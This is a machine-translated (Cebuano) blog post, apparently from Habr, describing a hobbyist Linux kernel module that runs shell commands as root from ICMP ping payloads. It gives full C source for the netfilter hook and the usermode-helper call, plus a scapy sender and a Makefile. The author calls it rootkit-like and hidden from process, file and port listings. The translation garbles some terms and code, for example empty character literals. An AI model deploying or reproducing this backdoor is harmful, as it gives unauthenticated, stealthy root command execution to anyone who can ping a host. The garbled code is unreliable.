Nukleyar nga kabhang sa ibabaw sa ICMP

Nukleyar nga kabhang sa ibabaw sa ICMP

TL; DR: Nagsulat ko og kernel module nga mobasa sa mga commands gikan sa ICMP payload ug i-execute kini sa server bisag nahagsa ang imong SSH. Alang sa labing walay pailub, ang tanan nga code mao github.

Pag-amping! Ang eksperyensiyadong C programmer nameligro nga mohilak sa dugo! Mahimong sayup pa ako sa terminolohiya, apan ang bisan unsang pagsaway gidawat. Ang post gituyo alang niadtong adunay grabe nga ideya sa C programming ug gusto nga motan-aw sa sulod sa Linux.

Sa mga komento sa akong una artikulo naghisgot sa SoftEther VPN, nga makasundog sa pipila ka "regular" nga mga protocol, ilabina sa HTTPS, ICMP ug bisan DNS. Mahanduraw ko lang ang una kanila nga nagtrabaho, tungod kay pamilyar kaayo ako sa HTTP(S), ug kinahanglan kong makat-on sa tunneling sa ICMP ug DNS.

Nukleyar nga kabhang sa ibabaw sa ICMP

Oo, sa 2020 nahibal-an nako nga mahimo nimong ipasok ang usa ka arbitraryong payload sa mga pakete sa ICMP. Apan mas maayo nga ulahi kay sa wala! Ug tungod kay adunay mahimo bahin niini, nan kinahanglan kini buhaton. Tungod kay sa akong adlaw-adlaw nga kinabuhi kanunay nakong gigamit ang command line, lakip ang pinaagi sa SSH, ang ideya sa usa ka ICMP nga kabhang mao ang una sa akong hunahuna. Ug aron matigom ang usa ka kompletong bullshield bingo, nakahukom ko nga isulat kini isip Linux module sa usa ka lengguwahe nga ako adunay dili maayo nga ideya. Ang ingon nga kabhang dili makita sa lista sa mga proseso, mahimo nimo kini i-load sa kernel ug dili kini sa file system, dili ka makakita og bisan unsa nga kadudahan sa lista sa mga port sa pagpaminaw. Sa mga termino sa mga kapabilidad niini, kini usa ka bug-os nga rootkit, apan nanghinaut ko nga mapauswag kini ug magamit kini ingon usa ka kabhang sa katapusan nga paagi kung ang Load Average taas kaayo aron maka-log in pinaagi sa SSH ug ipatuman labing menos. echo i > /proc/sysrq-triggeraron ibalik ang pag-access nga wala mag-reboot.

Nagkuha kami usa ka editor sa teksto, sukaranan nga kahanas sa programming sa Python ug C, Google ug virtual nga dili nimo mahunahuna nga ibutang sa ilawom sa kutsilyo kung maguba ang tanan (opsyonal - lokal nga VirtualBox / KVM / etc) ug lakaw na!

Kliyente nga bahin

Para nako, alang sa bahin sa kliyente kinahanglan kong magsulat og script nga adunay mga 80 ka linya, apan adunay mga buotan nga mga tawo nga nagbuhat niini alang kanako. tanan nga trabaho. Ang code nahimo nga wala damha nga yano, nga nahiangay sa 10 ka hinungdanon nga linya:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Ang script nagkinahanglan og duha ka argumento, usa ka adres ug usa ka payload. Sa dili pa ipadala, ang payload giunhan sa usa ka yawe run:, kinahanglan namon kini aron dili iapil ang mga pakete nga adunay random nga mga kargamento.

Ang kernel nanginahanglan mga pribilehiyo sa paghimo og mga pakete, mao nga ang script kinahanglan nga ipadagan ingon superuser. Ayaw kalimti ang paghatag mga permiso sa pagpatuman ug i-install ang scapy mismo. Ang Debian adunay usa ka package nga gitawag python3-scapy. Karon mahimo nimong susihon kung giunsa kini tanan molihok.

Pagdagan ug pag-output sa mando
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Mao ni ang hitsura sa sniffer
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Ang payload sa response package dili mausab.

Kernel module

Sa pagtukod sa usa ka Debian virtual machine kinahanglan nimo labing menos make ΠΈ linux-headers-amd64, ang uban moabut sa porma sa dependencies. Dili nako ihatag ang tibuuk nga code sa artikulo; mahimo nimo kini i-clone sa Github.

Pag-setup sa hook

Sa pagsugod, kinahanglan namon ang duha ka mga gimbuhaton aron makarga ang module ug madiskarga kini. Ang function alang sa unloading dili kinahanglan, apan unya rmmod dili kini molihok; ang module idiskarga lamang kung mapalong.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Unsa ang nahitabo dinhi:

  1. Duha ka mga file sa header ang gibira aron mamanipula ang module mismo ug ang netfilter.
  2. Ang tanan nga mga operasyon moagi sa usa ka netfilter, mahimo nimong ibutang ang mga kaw-it niini. Aron mahimo kini, kinahanglan nimo nga ipahayag ang istruktura diin ma-configure ang kaw-it. Ang labing hinungdanon nga butang mao ang pagtino sa function nga ipatuman ingon usa ka kaw-it: nfho.hook = icmp_cmd_executor; Moadto ko sa mismong function unya.
    Dayon akong gitakda ang oras sa pagproseso alang sa package: NF_INET_PRE_ROUTING nagtino sa pagproseso sa package sa diha nga kini unang makita sa kernel. Mahimong gamiton NF_INET_POST_ROUTING aron maproseso ang pakete samtang kini mogawas sa kernel.
    Gibutang nako ang filter sa IPv4: nfho.pf = PF_INET;.
    Gihatagan nako ang akong kaw-it sa labing taas nga prayoridad: nfho.priority = NF_IP_PRI_FIRST;
    Ug akong girehistro ang istruktura sa datos isip aktuwal nga kaw-it: nf_register_net_hook(&init_net, &nfho);
  3. Ang katapusan nga function nagtangtang sa kaw-it.
  4. Ang lisensya klaro nga gipakita aron dili magreklamo ang nag-compile.
  5. Mga katuyoan module_init() ΠΈ module_exit() itakda ang ubang mga gimbuhaton aron masugdan ug tapuson ang module.

Pagbawi sa payload

Karon kinahanglan namong kuhaon ang payload, kini nahimo nga labing lisud nga buluhaton. Ang kernel walay built-in nga mga function alang sa pagtrabaho uban sa mga payloads; mahimo ra nimo ma-parse ang mga header sa mas taas nga lebel nga mga protocol.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Unsa ang nahitabo:

  1. Kinahanglan nakong ilakip ang dugang nga mga file sa header, niining panahona aron mamanipula ang mga header sa IP ug ICMP.
  2. Gibutang nako ang labing taas nga gitas-on sa linya: #define MAX_CMD_LEN 1976. Ngano gyud ni? Tungod kay ang nag-compile nagreklamo bahin niini! Gisugyot na nila kanako nga kinahanglan nako nga masabtan ang stack ug heap, sa umaabot nga adlaw buhaton gyud nako kini ug tingali matul-id pa ang code. Gibutang dayon nako ang linya nga adunay sulud nga mando: char cmd_string[MAX_CMD_LEN];. Kini kinahanglan nga makita sa tanan nga mga gimbuhaton; Akong hisgutan kini sa mas detalyado sa parapo 9.
  3. Karon kinahanglan naton nga magsugod (struct work_struct my_work;) istruktura ug ikonektar kini sa laing function (DECLARE_WORK(my_work, work_handler);). Maghisgot usab ako kung nganong gikinahanglan kini sa ikasiyam nga parapo.
  4. Karon gipahayag nako ang usa ka function, nga mahimong usa ka kaw-it. Ang tipo ug gidawat nga mga argumento gidiktahan sa netfilter, interesado lang kami skb. Kini usa ka socket buffer, usa ka sukaranan nga istruktura sa datos nga adunay tanan nga magamit nga kasayuran bahin sa usa ka pakete.
  5. Aron molihok ang function, kinahanglan nimo ang duha ka istruktura ug daghang mga variable, lakip ang duha nga mga iterator.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Makasugod kita sa lohika. Aron molihok ang module, wala’y kinahanglan nga mga pakete gawas sa ICMP Echo, mao nga gi-parse namon ang buffer gamit ang mga built-in nga function ug gilabay ang tanan nga mga non-ICMP ug non-Echo nga mga pakete. Pagbalik NF_ACCEPT nagpasabot sa pagdawat sa pakete, apan mahimo usab nimo ihulog ang mga pakete pinaagi sa pagbalik NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Wala pa nako gisulayan kung unsa ang mahitabo kung wala gisusi ang mga header sa IP. Ang akong gamay nga kahibalo sa C nagsulti kanako nga kung wala’y dugang nga mga pagsusi, usa ka butang nga makalilisang ang mahitabo. Malipay ako kon imo akong pugngan niini!

  7. Karon nga ang pakete mao ang eksaktong tipo nga imong gikinahanglan, mahimo nimong makuha ang datos. Kung wala’y built-in nga function, kinahanglan una nimo nga makakuha usa ka pointer sa sinugdanan sa payload. Gihimo kini sa usa ka dapit, kinahanglan nimo nga dad-on ang pointer sa sinugdanan sa ICMP header ug ibalhin kini sa gidak-on niini nga header. Ang tanan naggamit sa istruktura icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Ang katapusan sa header kinahanglan nga motakdo sa katapusan sa payload sa skb, busa makuha nato kini gamit ang nukleyar nga paagi gikan sa katugbang nga istruktura: tail = skb_tail_pointer(skb);.

    Nukleyar nga kabhang sa ibabaw sa ICMP

    Ang hulagway gikawat gikan dinhi, makabasa ka ug dugang bahin sa socket buffer.

  8. Sa higayon nga ikaw adunay mga punto sa sinugdanan ug katapusan, mahimo nimong kopyahon ang datos ngadto sa usa ka hilo cmd_string, susiha kini alang sa presensya sa usa ka prefix run: ug, isalikway ang pakete kung wala kini, o isulat pag-usab ang linya, tangtangon kini nga prefix.
  9. Mao na, karon mahimo nimong tawagan ang laing handler: schedule_work(&my_work);. Tungod kay dili mahimo ang pagpasa sa usa ka parameter sa ingon nga tawag, ang linya nga adunay mando kinahanglan nga global. schedule_work() ibutang ang function nga nalangkit sa gipasa nga estraktura ngadto sa kinatibuk-ang pila sa task scheduler ug kompleto, nga dili na maghulat nga makompleto ang command. Kinahanglan kini tungod kay ang kaw-it kinahanglan nga kusog kaayo. Kung dili, ang imong gipili mao nga wala’y magsugod o makakuha ka usa ka kernel panic. Ang paglangan sama sa kamatayon!
  10. Mao ra kana, mahimo nimong dawaton ang pakete nga adunay katugbang nga pagbalik.

Pagtawag sa usa ka programa sa userspace

Kini nga function mao ang labing masabtan. Ang ngalan niini gihatag sa DECLARE_WORK(), ang tipo ug gidawat nga mga argumento dili makapaikag. Gikuha namon ang linya gamit ang mando ug ipasa kini sa tibuuk nga kabhang. Pasagdi siya nga mag-atubang sa pag-parse, pagpangita sa mga binary ug uban pa.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Ibutang ang mga argumento sa usa ka han-ay sa mga kuwerdas argv[]. Akong hunahunaon nga nahibal-an sa tanan nga ang mga programa sa tinuud gipatuman niining paagiha, ug dili ingon usa ka padayon nga linya nga adunay mga wanang.
  2. Itakda ang mga variable sa palibot. Ang PATH ra ang akong gisulod nga adunay minimum nga set sa mga agianan, naglaum nga silang tanan nahiusa na /bin с /usr/bin и /sbin с /usr/sbin. Ang ubang mga dalan panagsa ra importante sa praktis.
  3. Tapos na, buhata nato! Kernel function call_usermodehelper() mudawat ug entry. dalan ngadto sa binary, array sa mga argumento, array sa environment variables. Dinhi gihunahuna usab nako nga ang tanan nakasabut sa kahulugan sa pagpasa sa agianan sa executable file ingon usa ka lahi nga argumento, apan mahimo ka mangutana. Ang katapusang argumento nagtino kung maghulat ba nga makompleto ang proseso (UMH_WAIT_PROC), pagsugod sa proseso (UMH_WAIT_EXEC) o dili na maghulat (UMH_NO_WAIT). Aduna pa ba UMH_KILLABLE, wala ko nagtan-aw niini.

Assembly

Ang asembliya sa kernel modules gihimo pinaagi sa kernel make-framework. Gitawag make sulod sa usa ka espesyal nga direktoryo nga nahigot sa bersyon sa kernel (gihubit dinhi: KERNELDIR:=/lib/modules/$(shell uname -r)/build), ug ang lokasyon sa module gipasa sa variable M sa mga argumento. Ang icmpshell.ko ug limpyo nga mga target naggamit niini nga balangkas sa hingpit. SA obj-m nagpaila sa object file nga makombertir sa usa ka module. Syntax nga nag-remake main.o Π² icmpshell.o (icmpshell-objs = main.o) dili kaayo lohikal nga tan-awon kanako, apan ingon niana.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Gikolekta namo: make. Nagkarga: insmod icmpshell.ko. Tapos na, mahimo nimong susihon: sudo ./send.py 45.11.26.232 "date > /tmp/test". Kung naa kay file sa imong makina /tmp/test ug kini naglangkob sa petsa nga gipadala ang hangyo, nga nagpasabut nga gibuhat nimo ang tanan nga husto ug gibuhat nako ang tanan nga husto.

konklusyon

Ang akong unang kasinatian sa nukleyar nga kalamboan mas sayon ​​kay sa akong gilauman. Bisan kung wala’y kasinatian nga nag-uswag sa C, nga nagpunting sa mga pahiwatig sa compiler ug mga resulta sa Google, nakahimo ako sa pagsulat sa usa ka nagtrabaho nga module ug gibati nga usa ka kernel hacker, ug sa samang higayon usa ka script kiddie. Dugang pa, miadto ako sa channel sa Kernel Newbies, diin gisultihan ako nga gamiton schedule_work() imbes nga tawagan call_usermodehelper() sa sulod mismo sa kaw-it ug gipakaulawan siya, husto nga nagduda nga usa ka scam. Ang usa ka gatos nga linya sa code nagkantidad kanako mga usa ka semana nga pag-uswag sa akong libre nga oras. Usa ka malampuson nga kasinatian nga nakaguba sa akong personal nga tumotumo bahin sa hilabihan nga pagkakomplikado sa pagpalambo sa sistema.

Kung adunay mouyon nga maghimo usa ka pagsusi sa code sa Github, mapasalamaton ako. Sigurado ako nga nakahimo ako daghang mga kabuang nga sayup, labi na kung nagtrabaho uban ang mga kuwerdas.

Nukleyar nga kabhang sa ibabaw sa ICMP

Source: www.habr.com

Idugang sa usa ka comment